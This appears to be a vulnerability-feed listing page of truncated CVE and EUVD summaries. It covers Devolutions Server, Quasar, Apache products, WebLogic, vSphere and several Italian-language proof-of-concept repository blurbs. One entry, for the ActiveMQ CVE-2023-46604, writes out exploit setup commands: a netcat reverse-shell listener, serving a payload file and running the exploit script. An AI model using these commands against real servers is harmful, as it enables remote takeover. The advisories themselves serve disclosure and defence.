EUVD-2026-93782

Authentication bypass OAuth device authorization flow in Devolutions Server 2026.3.7.0 and earlier allows a remote attacker to take over a user's account via replay of a captured device verification link by an authenticated victim...

CVE-2026-105485

Authentication bypass OAuth device authorization flow in Devolutions Server 2026.3.7.0 and earlier allows a remote attacker to take over a user's account via replay of a captured device verification link by an authenticated victim...

CVE-2026-105485

Authentication bypass OAuth device authorization flow in Devolutions Server 2026.3.7.0 and earlier allows a remote attacker to take over a user's account via replay of a captured device verification link by an authenticated victim...

CVE-2023-46604-RCE

CVE-2023-46604-RCE Implementazione in Python dell'esecuzione di codice remoto non autenticata di Apache ActiveMQ Setup ed Exploit nc -lvnp 4444 - Avvia il listener python3 -m http.server 8080 - Servi poc.xml che contiene il tuo payload python3 CVE-2023-46604-RCE.py -i -p -u http://:8080/poc.xml -...

EUVD-2026-93779

Authentication bypass in the Azure AD external login flow in Devolutions Server 2026.3.7.0 and earlier allows a remote attacker to take over a user's account via replay of a captured login-session token exposed in a redirect URL...

CVE-2026-9226

Authentication bypass in the Azure AD external login flow in Devolutions Server 2026.3.7.0 and earlier allows a remote attacker to take over a user's account via replay of a captured login-session token exposed in a redirect URL...

CVE-2026-9226

Authentication bypass in the Azure AD external login flow in Devolutions Server 2026.3.7.0 and earlier allows a remote attacker to take over a user's account via replay of a captured login-session token exposed in a redirect URL...

CVE-2026-9226

An authentication bypass vulnerability exists in the Azure AD external login flow of Devolutions Server version 2026.3.7.0 and earlier . A remote attacker can exploit this by capturing and replaying a login-session token exposed in a redirect URL, potentially leading to full account takeover . No...

CVE-2026-106106

Quasar Framework is a framework for building high-performance Vue.js user interfaces. Prior to @quasar/render-ssr-error 2.2.4 and @quasar/app-vite 3.3.0, renderSSRError in utils/render-ssr-error/src/index.js used diagnostic data from utils/render-ssr-error/src/env.js to serialize process.env,...

CVE-2017-10797

CVE-2017-10797 CVE-2017-10797- Enumerazione degli utenti in OwnCloud Server 8.1-10.0...

CVE-2026-49975

CVE-2026-49975 HTTP/2 Bomb ★ CVE-2026-49975 HTTP/2 Bomb PoC ★ Panoramica CVE-2026-49975 è una vulnerabilità Denial of Service DoS in Apache HTTP Server. La vulnerabilità si verifica nel percorso di gestione delle richieste HTTP/2, dove più campi header cookie possono essere uniti senza essere...

CVE-2021-21972

CVE-2021-21972 VMware vSphere Client Upload di File Non Autorizzato per l'Esecuzione di Codice Remota RCE Il vSphere Web Client HTML5 è essenzialmente un'interfaccia amministrativa che consente la gestione di un'installazione vSphere. Il vSphere Client fornisce a un amministratore l'accesso alle...

CVE-2020-14883

CVE-2020-14883 Esecuzione di codice remota RCE autenticata su Oracle WebLogic Server Vulnerabilità nel prodotto Oracle WebLogic Server di Oracle Fusion Middleware componente: Console. Le versioni supportate interessate sono 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 e 14.1.1.0.0. La...

cve-2021-44228-minecraft-poc

CVE-2021-44228 in Minecraft Java 16 Paper server build 397 Minecraft 1.17.1 Sfruttamento In Java 16, solo gli attacchi di deserializzazione funzionano per impostazione predefinita usando log4j. Per sfruttare questo, è necessario che ci sia una classe serializzabile vulnerabile nel classpath. Nell...

CVE-2026-102795

A flaw was found in Apache Traffic Server. Due to improper access controls, an unauthenticated remote attacker can bypass intended access restrictions. This vulnerability may allow an attacker to modify sensitive data or gain unauthorized access to protected resources. Mitigation Mitigation for...

CVE-2019-0211-exploit

CVE-2019-0211 — Escalata dei Privilegi Locali di Apache HTTP Server CARPE DIEM Descrizione CVE-2019-0211 è una vulnerabilità di escalation dei privilegi locale che colpisce Apache HTTP Server tra le versioni 2.4.17 e 2.4.38 con modprefork e modphp o PHP-FPM. La vulnerabilità consente a un...

CVE-2020-1350

CVE-2020-1350 SigRED Workaround per mitigare l'impatto della vulnerabilità riducendo il limite massimo della dimensione dei pacchetti TCP ricevuti sul server DNS e riavviando il DNS...

CVE-2026-106106 Quasar Framework: SSR/SSG dev error page discloses the full shell environment and its </script> escape is bypassable

Quasar Framework is a framework for building high-performance Vue.js user interfaces. Prior to @quasar/render-ssr-error 2.2.4 and @quasar/app-vite 3.3.0, renderSSRError in utils/render-ssr-error/src/index.js used diagnostic data from utils/render-ssr-error/src/env.js to serialize process.env,...

CVE-2026-106106

The Quasar Framework contains a vulnerability in its SSR/SSG development error path where the renderSSRError() function in utils/render-ssr-error/src/index.js serializes sensitive data, including process.env , request headers, and cookies. Because the development server listens on all interfaces ...

CVE-2026-23744-MCPJAM-RCE-exploit

CVE-2026-23744-MCPJAM-RCE-exploit Questo proof-of-concept in Python prende di mira un servizio MCP Model Context Protocol vulnerabile esposto dall'applicazione target. La vulnerabilità consente a un attaccante di fornire parametri arbitrari di configurazione del server attraverso l'endpoint...